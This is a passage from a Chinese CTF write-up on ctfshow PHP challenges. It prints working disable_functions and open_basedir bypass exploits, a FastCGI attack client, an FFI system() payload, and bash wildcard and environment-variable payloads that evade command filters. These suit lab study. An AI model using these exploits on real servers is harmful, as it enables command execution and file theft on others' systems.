0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); } exit();
https://www.m00nback.xyz/2020/02/17/ctfshow%E9%83%A8%E5%88%86%E9%A2%98%E7%9B%AEwriteup/
https://www.jb51.net/article/141767.htm
但是我打不出來。。。。。
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24 你要上天嗎?
c=var_export(scandir('/'));die();
得到
array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flagc.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )
payload:
c=include('/flagc.txt');die();
c=var_export(scandir('/'));die();
結(jié)果輸出NULL
.
glob 協(xié)議讀?。?/p>
c=$it=newDirectoryIterator("glob:///*");foreach($itas$f) {echo$f->getFilename()."\n";}die();
得到flag:
c=include('/flagx.txt');die();
glob://
協(xié)議讀文件名flag36.txt
,
c=$it = new DirectoryIterator("glob:///*");foreach($it as $f) {echo$f->getFilename()."\n";}die();
接下來就是懵逼時(shí)刻了。
p牛的bypass open_basedir腳本:
<?php header('content-type: text/plain'); error_reporting(-1); ini_set('display_errors', TRUE); printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion()); printf("disable_functions: %s\n", ini_get('disable_functions')); $file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd'); $relat_file = getRelativePath(__FILE__, $file); $paths = explode('/', $file); $name = mt_rand() % 999; $exp = getRandStr(); mkdir($name); chdir($name); for($i = 1 ; $i < count($paths) - 1 ; $i++){ mkdir($paths[$i]); chdir($paths[$i]); } mkdir($paths[$i]); for ($i -= 1; $i > 0; $i--) { chdir('..'); } $paths = explode('/', $relat_file); $j = 0; for ($i = 0; $paths[$i] == '..'; $i++) { mkdir($name); chdir($name); $j++; } for ($i = 0; $i <= $j; $i++) { chdir('..'); } $tmp = array_fill(0, $j + 1, $name); symlink(implode('/', $tmp), 'tmplink'); $tmp = array_fill(0, $j, '..'); symlink('tmplink/' . implode('/', $tmp) . $file, $exp); unlink('tmplink'); mkdir('tmplink'); delfile($name); $exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}"; $exp = "http://{$_SERVER['SERVER_NAME']}{$exp}"; echo "\n-----------------content---------------\n\n"; echo file_get_contents($exp); delfile('tmplink'); function getRelativePath($from, $to) { // some compatibility fixes for Windows paths $from = rtrim($from, '\/') . '/'; $from = str_replace('\\', '/', $from); $to = str_replace('\\', '/', $to); $from = explode('/', $from); $to = explode('/', $to); $relPath = $to; foreach($from as $depth => $dir) { // find first non-matching dir if($dir === $to[$depth]) { // ignore this directory array_shift($relPath); } else { // get number of remaining dirs to $from $remaining = count($from) - $depth; if($remaining > 1) { // add traversals up to first matching dir $padLength = (count($relPath) + $remaining - 1) * -1; $relPath = array_pad($relPath, $padLength, '..'); break; } else { $relPath[0] = './' . $relPath[0]; } } } return implode('/', $relPath); } function delfile($deldir){ if (@is_file($deldir)) { @chmod($deldir,0777); return @unlink($deldir); }else if(@is_dir($deldir)){ if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File_Str($deldir.'/'.$file); if(($file!='.') && ($file!='..')){delfile($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; } } function File_Str($string) { return str_replace('//','/',str_replace('\\','/',$string)); } function getRandStr($length = 6) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $randStr = ''; for ($i = 0; $i < $length; $i++) { $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); } return $randStr; }
不大行 php獲取敏感信息的腳本:
<?php
printf("System: %s\n",php_uname());
printf("php_version: %s\n",phpversion());
printf("open_basedir: %s\n\n", ini_get('open_basedir'));
printf("disable_functions: %s\n\n", ini_get('disable_functions'));
printf("all_extensions: ");
foreach(get_loaded_extensions() as$key=>$value){
printf("%s ",$value);
}
printf("\n\nENVIRONMENT: ");
foreach(getenv() as$key=>$value){
printf("\n\n%s=%s",$key,$value);
}
foreach(ini_get_all() as$key=>$value){
printf("\n\n%s ==> %s",$key,$value["local_value"]);
}
exit();
攻擊fastcgi exp:
<?php class TimedOutException extends Exception { } class ForbiddenException extends Exception { } class Client { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; const REQ_STATE_WRITTEN = 1; const REQ_STATE_OK = 2; const REQ_STATE_ERR = 3; const REQ_STATE_TIMED_OUT = 4; private $_sock = null; private $_host = null; private $_port = null; private $_keepAlive = false; private $_requests = array(); private $_persistentSocket = false; private $_connectTimeout = 5000; private $_readWriteTimeout = 5000; public function __construct( $host, $port ) { $this->_host = $host; $this->_port = $port; } public function setKeepAlive( $b ) { $this->_keepAlive = (boolean) $b; if ( ! $this->_keepAlive && $this->_sock ) { fclose( $this->_sock ); } } public function getKeepAlive() { return $this->_keepAlive; } public function setPersistentSocket( $b ) { $was_persistent = ( $this->_sock && $this->_persistentSocket ); $this->_persistentSocket = (boolean) $b; if ( ! $this->_persistentSocket && $was_persistent ) { fclose( $this->_sock ); } } public function getPersistentSocket() { return $this->_persistentSocket; } public function setConnectTimeout( $timeoutMs ) { $this->_connectTimeout = $timeoutMs; } public function getConnectTimeout() { return $this->_connectTimeout; } public function setReadWriteTimeout( $timeoutMs ) { $this->_readWriteTimeout = $timeoutMs; $this->set_ms_timeout( $this->_readWriteTimeout ); } public function getReadWriteTimeout() { return $this->_readWriteTimeout; } private function set_ms_timeout( $timeoutMs ) { if ( ! $this->_sock ) { return false; } return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 ); } private function connect() { if ( ! $this->_sock ) { if ( $this->_persistentSocket ) { $this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 ); } else { $this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 ); } if ( ! $this->_sock ) { throw new Exception( 'Unable to connect to FastCGI application: ' . $errstr ); } if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) { throw new Exception( 'Unable to set timeout on socket' ); } } } private function buildPacket( $type, $content, $requestId = 1 ) { $clen = strlen( $content ); return chr( self::VERSION_1 ) /* version */ . chr( $type ) /* type */ . chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */ . chr( $requestId & 0xFF ) /* requestIdB0 */ . chr( ( $clen >> 8 ) & 0xFF ) /* contentLengthB1 */ . chr( $clen & 0xFF ) /* contentLengthB0 */ . chr( 0 ) /* paddingLength */ . chr( 0 ) /* reserved */ . $content; /* content */ } private function buildNvpair( $name, $value ) { $nlen = strlen( $name ); $vlen = strlen( $value ); if ( $nlen < 128 ) { /* nameLengthB0 */ $nvpair = chr( $nlen ); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF ); } if ( $vlen < 128 ) { /* valueLengthB0 */ $nvpair .= chr( $vlen ); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF ); } /* nameData & valueData */ return $nvpair . $name . $value; } private function readNvpair( $data, $length = null ) { $array = array(); if ( $length === null ) { $length = strlen( $data ); } $p = 0; while ( $p != $length ) { $nlen = ord( $data{$p ++} ); if ( $nlen >= 128 ) { $nlen = ( $nlen & 0x7F << 24 ); $nlen |= ( ord( $data{$p ++} ) << 16 ); $nlen |= ( ord( $data{$p ++} ) << 8 ); $nlen |= ( ord( $data{$p ++} ) ); } $vlen = ord( $data{$p ++} ); if ( $vlen >= 128 ) { $vlen = ( $nlen & 0x7F << 24 ); $vlen |= ( ord( $data{$p ++} ) << 16 ); $vlen |= ( ord( $data{$p ++} ) << 8 ); $vlen |= ( ord( $data{$p ++} ) ); } $array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen ); $p += ( $nlen + $vlen ); } return $array; } private function decodePacketHeader( $data ) { $ret = array(); $ret['version'] = ord( $data{0} ); $ret['type'] = ord( $data{1} ); $ret['requestId'] = ( ord( $data{2} ) << 8 ) + ord( $data{3} ); $ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} ); $ret['paddingLength'] = ord( $data{6} ); $ret['reserved'] = ord( $data{7} ); return $ret; } private function readPacket() { if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) { $resp = $this->decodePacketHeader( $packet ); $resp['content'] = ''; if ( $resp['contentLength'] ) { $len = $resp['contentLength']; while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) { $len -= strlen( $buf ); $resp['content'] .= $buf; } } if ( $resp['paddingLength'] ) { $buf = fread( $this->_sock, $resp['paddingLength'] ); } return $resp; } else { return false; } } public function getValues( array $requestedInfo ) { $this->connect(); $request = ''; foreach ( $requestedInfo as $info ) { $request .= $this->buildNvpair( $info, '' ); } fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) ); $resp = $this->readPacket(); if ( $resp['type'] == self::GET_VALUES_RESULT ) { return $this->readNvpair( $resp['content'], $resp['length'] ); } else { throw new Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' ); } } public function request( array $params, $stdin ) { $id = $this->async_request( $params, $stdin ); return $this->wait_for_response( $id ); } public function async_request( array $params, $stdin ) { $this->connect(); // Pick random number between 1 and max 16 bit unsigned int 65535 $id = mt_rand( 1, ( 1 << 16 ) - 1 ); // Using persistent sockets implies you want them keept alive by server! $keepAlive = intval( $this->_keepAlive || $this->_persistentSocket ); $request = $this->buildPacket( self::BEGIN_REQUEST , chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 ) , $id ); $paramsRequest = ''; foreach ( $params as $key => $value ) { $paramsRequest .= $this->buildNvpair( $key, $value, $id ); } if ( $paramsRequest ) { $request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id ); } $request .= $this->buildPacket( self::PARAMS, '', $id ); if ( $stdin ) { $request .= $this->buildPacket( self::STDIN, $stdin, $id ); } $request .= $this->buildPacket( self::STDIN, '', $id ); if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) { $info = stream_get_meta_data( $this->_sock ); if ( $info['timed_out'] ) { throw new TimedOutException( 'Write timed out' ); } // Broken pipe, tear down so future requests might succeed fclose( $this->_sock ); throw new Exception( 'Failed to write request to socket' ); } $this->_requests[ $id ] = array( 'state' => self::REQ_STATE_WRITTEN, 'response' => null ); return $id; } public function wait_for_response( $requestId, $timeoutMs = 0 ) { if ( ! isset( $this->_requests[ $requestId ] ) ) { throw new Exception( 'Invalid request id given' ); } if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK || $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR ) { return $this->_requests[ $requestId ]['response']; } if ( $timeoutMs > 0 ) { // Reset timeout on socket for now $this->set_ms_timeout( $timeoutMs ); } else { $timeoutMs = $this->_readWriteTimeout; } $startTime = microtime( true ); do { $resp = $this->readPacket(); if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) { if ( $resp['type'] == self::STDERR ) { $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR; } $this->_requests[ $resp['requestId'] ]['response'] .= $resp['content']; } if ( $resp['type'] == self::END_REQUEST ) { $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK; if ( $resp['requestId'] == $requestId ) { break; } } if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) { // Reset $this->set_ms_timeout( $this->_readWriteTimeout ); throw new Exception( 'Timed out' ); } } while ( $resp ); if ( ! is_array( $resp ) ) { $info = stream_get_meta_data( $this->_sock ); // We must reset timeout but it must be AFTER we get info $this->set_ms_timeout( $this->_readWriteTimeout ); if ( $info['timed_out'] ) { throw new TimedOutException( 'Read timed out' ); } if ( $info['unread_bytes'] == 0 && $info['blocked'] && $info['eof'] ) { throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' ); } throw new Exception( 'Read failed' ); } // Reset timeout $this->set_ms_timeout( $this->_readWriteTimeout ); switch ( ord( $resp['content']{4} ) ) { case self::CANT_MPX_CONN: throw new Exception( 'This app can't multiplex [CANT_MPX_CONN]' ); break; case self::OVERLOADED: throw new Exception( 'New request rejected; too busy [OVERLOADED]' ); break; case self::UNKNOWN_ROLE: throw new Exception( 'Role value not known [UNKNOWN_ROLE]' ); break; case self::REQUEST_COMPLETE: return $this->_requests[ $requestId ]['response']; } } } $client = new Client("unix:///tmp/php-cgi-74.sock", -1); $php_value = "open_basedir = /"; $filepath = '/tmp/readflag.php'; $content = 'hpdoger'; echo $client->request( array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SERVER_SOFTWARE' => 'php/fcgiclient', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'mag-tured', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_TYPE' => 'application/x-www-form-urlencoded', 'CONTENT_LENGTH' => strlen( $content ), 'PHP_VALUE' => $php_value, ), $content );
可以用下面代碼判斷php以什么運(yùn)行:
<?phpechophp_sapi_name();exit();
下面這段代碼可以建立sock連接
<?php
$fp=fsockopen("www.example.com", 80, $errno, $errstr, 30);
if(!$fp) {
echo"$errstr($errno)<br />\n";
} else{
$out="GET / HTTP/1.1\r\n";
$out.="Host: www.example.com\r\n";
$out.="Connection: Close\r\n\r\n";
fwrite($fp, $out);
while(!feof($fp)) {
echofread($fp, 128);
}
fclose($fp);
}
?>
php7.4,基本上命令執(zhí)行就告一段落了
提示說php7.4 立馬想到FFI
FFI,php7.4以上才有 https://www.php.net/manual/zh/ffi.cdef.phphttps://www.php.cn/php-weizijiaocheng-415807.html
payload:
$ffi = FFI::cdef("int system(const char *command);");//創(chuàng)建一個(gè)system對象 $a='/readflag > 1.txt';//沒有回顯的 $ffi->system($a);//通過$ffi去調(diào)用system函數(shù)
有過濾,fuzz 了一下
發(fā)現(xiàn)大寫字母 _ @ # $ ~ ; . ?
等沒被過濾。
以前有個(gè)類似的題,但有不一樣,知識點(diǎn) https://yanmie-art.github.io/2020/09/28/ctfshow%E6%9C%88%E9%A5%BC%E6%9D%AF/
環(huán)境變量一般是指用來指定操作系統(tǒng)運(yùn)行環(huán)境的一些參數(shù),比如臨時(shí)文件夾的位置和系統(tǒng)文件夾位置等。
我們會經(jīng)常使用一些Linux下操作指令,如ls,ps等。這些命令我們在任何一個(gè)目錄下都能夠執(zhí)行。其實(shí)這些命令不過是一個(gè)個(gè)可執(zhí)行程序,一般存放在/bin或/usr/bin目錄下。你有沒有思考過當(dāng)我們執(zhí)行這些指令的時(shí)候,操作系統(tǒng)是怎么找到他們的呢?
其實(shí)操作系統(tǒng)能夠找到這些指令都要?dú)w功于,系統(tǒng)中的環(huán)境變量PATH。PATH環(huán)境變量中就記錄了這些文件所在的路徑,當(dāng)我們使用以上命令的時(shí)候,PATH環(huán)境變量就把指令的路徑提交給shell,Linux操作系統(tǒng)就是通過搜索PATH環(huán)境變量從而找到這些命令的。
可以使用env
命令來查看我們linux 環(huán)境變量的設(shè)置。
如圖:
s
root@ecs-sn3-medium-2-win-20191202181542:~# env LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36: SSH_CONNECTION=1.68.96.182 25650 192.168.0.196 22 LESSCLOSE=/usr/bin/lesspipe %s %s LANG=en_US.UTF-8 DISPLAY=localhost:10.0 HISTTIMEFORMAT=%F %T root XDG_SESSION_ID=11226 USER=root PWD=/root HOME=/root SSH_CLIENT=1.68.96.182 25650 22 XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop SSH_TTY=/dev/pts/0 MAIL=/var/mail/root TERM=xterm SHELL=/bin/bash SHLVL=1 LOGNAME=root XDG_RUNTIME_DIR=/run/user/0 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin HISTSIZE=1000 LESSOPEN=| /usr/bin/lesspipe %s _=/usr/bin/env
環(huán)境變量的格式
環(huán)境變量名=內(nèi)容1:內(nèi)容2 //環(huán)境變量名一般大寫,多個(gè)內(nèi)容用":"隔開,且等號兩邊不能有空格
查看環(huán)境變量名的內(nèi)容,可以使用指令:“echo $環(huán)境變量名”
example:echo $PATH
環(huán)境變量的添加
添加環(huán)境變量使用指令export,分為臨時(shí)添加和永久添加
臨時(shí)添加
臨時(shí)添加只對當(dāng)前的終端有效,如果當(dāng)前終端關(guān)閉,則添加的環(huán)境變量接不存在了。
比如我們本地編寫一個(gè)hello.c的文檔,然后用gcc編譯成hello可執(zhí)行文件。如果我們想在任何目錄下都可以執(zhí)行該文件,則只需要將其添加到環(huán)境變量中去。
@export PATH=<hello文件所在的目錄>:$PATH
此處如果不加":$PATH",則PATH環(huán)境變量以前的內(nèi)容就被覆蓋掉了,加上這個(gè)表示我們?nèi)砸盟暗膬?nèi)容,只不過再添加上我們的新內(nèi)容罷了。
永久添加
在Linux系統(tǒng)中,有些文件在系統(tǒng)啟動(dòng)的時(shí)候或用戶登錄的時(shí)候會自動(dòng)執(zhí)行。例如/etc/profile,這是一個(gè)Shell腳本文件,任何用戶登錄的時(shí)候都會執(zhí)行。
所以,只要我們將環(huán)境變量添加到/etc/profile中,這樣在任何時(shí)候環(huán)境變量都有效。
開始做題。上邊題目小寫字母和數(shù)字都被過濾了。但是我們還可以使用大寫字母、$ 、冒號。
而linux 中環(huán)境變量恰好就是大寫字母。比如說常見的 PATH 變量。
root@ecs-sn3-medium-2-win-20191202181542:~# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
我們還可以echo ${PATH:1:1}
會得到 字符u
.
為什么呢?
$PATH
是一串字符串,沖0 開始,取 1 位置也就是第2位字符開始取一位。
但是字母被過濾了就很難受。
我們還有一種方法,取 linux 變量代表字符串的長度,就可以構(gòu)成我們的變量了。
比如說echo ${#PATH}
會得到 98 . 那么我們就可以使用env
命令輸出的變量中的環(huán)境變量選擇一個(gè)合適的 取其長度 再結(jié)合$PATH
構(gòu)造我們字符 getshell .
比如說我們想構(gòu)造ls
原本可以通過${PATH:5:1}${PATH:11:1}
構(gòu)造,但是過濾了數(shù)字。
但是還可以這樣${PATH:${#TERM}:${#SHLVL}}${PATH:${#LANG}:${#SHLVL}}
.
$RANDOM
是Bash的內(nèi)部函數(shù)(并不是常量), 這個(gè)函數(shù)將返回一個(gè)偽隨機(jī)[1]整數(shù), 范圍在0 - 32767之間. 它*不*
應(yīng)該被用來產(chǎn)生密匙.所以可以使用 ${#RANDOM} 表示 1 , 2 ,3,4,5 有幾率。
還可以:
${PATH:~0}
輸出變量代表字符串的最后一位,但是我們的數(shù)字被過濾了,我們可以使用${PATH:~A}
,應(yīng)該是字符等于false等于 0 把,所以可以把最后一位給代表。
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}}
代表nl
.
如果想要讀取文件的話可以使用 linux 通配符。
https://blog.csdn.net/wit_732/article/details/106290562
payload:
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}}?${PATH:${#RANDOM}:${#SHLVL}}??.??? #其他師傅 ${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}}????.???
環(huán)境界面和上題一樣,經(jīng)測試在上題的基礎(chǔ)上多過濾了PATH
,那么這個(gè)系統(tǒng)變量肯定是不能用了。
cat 命令實(shí)質(zhì)上是在/bin/cat
那么我們利用其它命令構(gòu)造他,
題目wp應(yīng)該是與題目環(huán)境即容器名稱有關(guān)。
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}}????.???
這里$HOSTNAME
就各機(jī)器都不同。
但是我自己構(gòu)造的在題目機(jī)器上又執(zhí)行不了。
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#RANDOM}:${#SHLVL}} ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HISTSIZE}:${#SHLVL}}
旨在構(gòu)造/bin/cat
利用通配符/???/??t
.
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo'<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo'<div align="center">'.system($code).'</div>';
}
}
else{
echo'<div align="center">evil input</div>';
}
}
?>
又增加過濾了HOME
自己構(gòu)造的paylaod在這里不行,顯示太長
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${PWD:${RANDOM:~A}}
官方payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
官方wp這里的$USER
代表的變量最后一位是a
,題目也沒提示。。。
這里PWD
不是/root
,要不然就可以
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${PWD:~A}
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo'<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo'<div align="center">'.system($code).'</div>';
}
}
else{
echo'<div align="center">evil input</div>';
}
}
?>
有多過濾了幾個(gè)linux變量.
首先這里 把$SHLVL
給 ban 了,那我們就得找其他的 1 個(gè)長度的變量。
$? 最后運(yùn)行的命令的結(jié)束代碼(返回值)即執(zhí)行上一個(gè)指令的返回值 (顯示最后命令的退出狀態(tài)。0表示沒有錯(cuò)誤,其他任何值表明有錯(cuò)誤)
$# 添加到Shell的參數(shù)個(gè)數(shù)
詳情: https://blog.csdn.net/helloxiaozhe/article/details/80940066
${#?}
、${##}
都可以代表 1
題目$PWD
變量不知又是代表的啥。
題目 wp: 構(gòu)造 /bin/rev
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
# /???/r??
flag出來之后繼續(xù)rev 反轉(zhuǎn)一下就可以了。
web122~ 通配符構(gòu)造/bin/base64
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo'<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo'<div align="center">'.system($code).'</div>';
}
}
else{
echo'<div align="center">evil input</div>';
}
}
?>
PWD被 ban ,但 可以 HOME
把 #ban 了。之后就不能搞變量長度了。那么就得想出構(gòu)造數(shù)字。
通過$?來實(shí)現(xiàn)的,$?是表示上一條命令執(zhí)行結(jié)束后的傳回值。通常0代表執(zhí)行成功,非0代表執(zhí)行有誤
錯(cuò)誤對照表:
“OS error code 1: Operation not permitted” “OS error code 2: No such file or directory” “OS error code 3: No such process” “OS error code 4: Interrupted system call” “OS error code 5: Input/output error” “OS error code 6: No such device or address” “OS error code 7: Argument list too long” “OS error code 8: Exec format error” “OS error code 9: Bad file descriptor” “OS error code 10: No child processes” “OS error code 11: Resource temporarily unavailable” “OS error code 12: Cannot allocate memory” “OS error code 13: Permission denied” “OS error code 14: Bad address” “OS error code 15: Block device required” “OS error code 16: Device or resource busy” “OS error code 17: File exists” “OS error code 18: Invalid cross-device link” “OS error code 19: No such device” “OS error code 20: Not a directory” “OS error code 21: Is a directory” “OS error code 22: Invalid argument” “OS error code 23: Too many open files in system” “OS error code 24: Too many open files” “OS error code 25: Inappropriate ioctl for device” “OS error code 26: Text file busy” “OS error code 27: File too large” “OS error code 28: No space left on device” “OS error code 29: Illegal seek” “OS error code 30: Read-only file system” “OS error code 31: Too many links” “OS error code 32: Broken pipe” “OS error code 33: Numerical argument out of domain” “OS error code 34: Numerical result out of range” “OS error code 35: Resource deadlock avoided” “OS error code 36: File name too long” “OS error code 37: No locks available” “OS error code 38: Function not implemented” “OS error code 39: Directory not empty” “OS error code 40: Too many levels of symbolic links” “OS error code 42: No message of desired type” “OS error code 43: Identifier removed” “OS error code 44: Channel number out of range” “OS error code 45: Level 2 not synchronized” “OS error code 46: Level 3 halted” “OS error code 47: Level 3 reset” “OS error code 48: Link number out of range” 